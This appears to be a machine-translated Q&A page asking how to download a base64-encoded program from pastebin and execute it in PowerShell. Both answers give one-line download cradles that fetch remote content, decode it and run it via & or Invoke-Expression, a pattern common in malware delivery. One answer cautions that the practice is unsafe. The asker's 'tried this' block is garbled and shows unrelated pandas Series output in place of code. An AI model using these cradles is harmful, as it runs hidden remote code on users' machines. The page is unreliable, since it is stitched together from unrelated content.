如何从Powershell运行base64?

时间:2018-08-02 12:57:47

标签: vb.net base64

我有一个用vb.net编写的程序,我将其转换为base64字符串,并将base64字符串上传到pastebin。

如何从Powershell命令下载并执行它?

我尝试了这个,但是没有用:

a1     80.0
a2    130.0
b1     64.0
c1     58.0
c2     80.0
dtype: float64

任何帮助将不胜感激

2 个答案:

答案 0 :(得分:1)

好,就像我在评论中说的那样:

  1. 将脚本转换为base64根本无法保证它们的安全!
  2. 从pastebin下载脚本并立即运行它们听起来是一个非常糟糕的主意...

但是出于“如何下载,解码然后使用Powershell运行命令”的问题,我可能会给出一个答案:

& ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri "https://pastebin.com/raw/hunMB9wV" |  Select-Object -ExpandProperty Content))))

在我的示例中,我将calc编码为base64,并将其上传到pastebin。

说明:

&-用于运行代码

[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String()-将base64解码为UTF8

Invoke-WebRequest -Uri "https://pastebin.com/raw/hunMB9wV" | Select-Object -ExpandProperty Content-下载pastebin网站的原始内容

答案 1 :(得分:0)

如果您真的要这样做-此代码将转到pastebin,获取内容,从base64对其进行解码,然后在Powershell中运行
Invoke-Expression -Command $([string]([System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String((Invoke-WebRequest -Uri https://pastebin.com/raw/XXXXXXX).content))))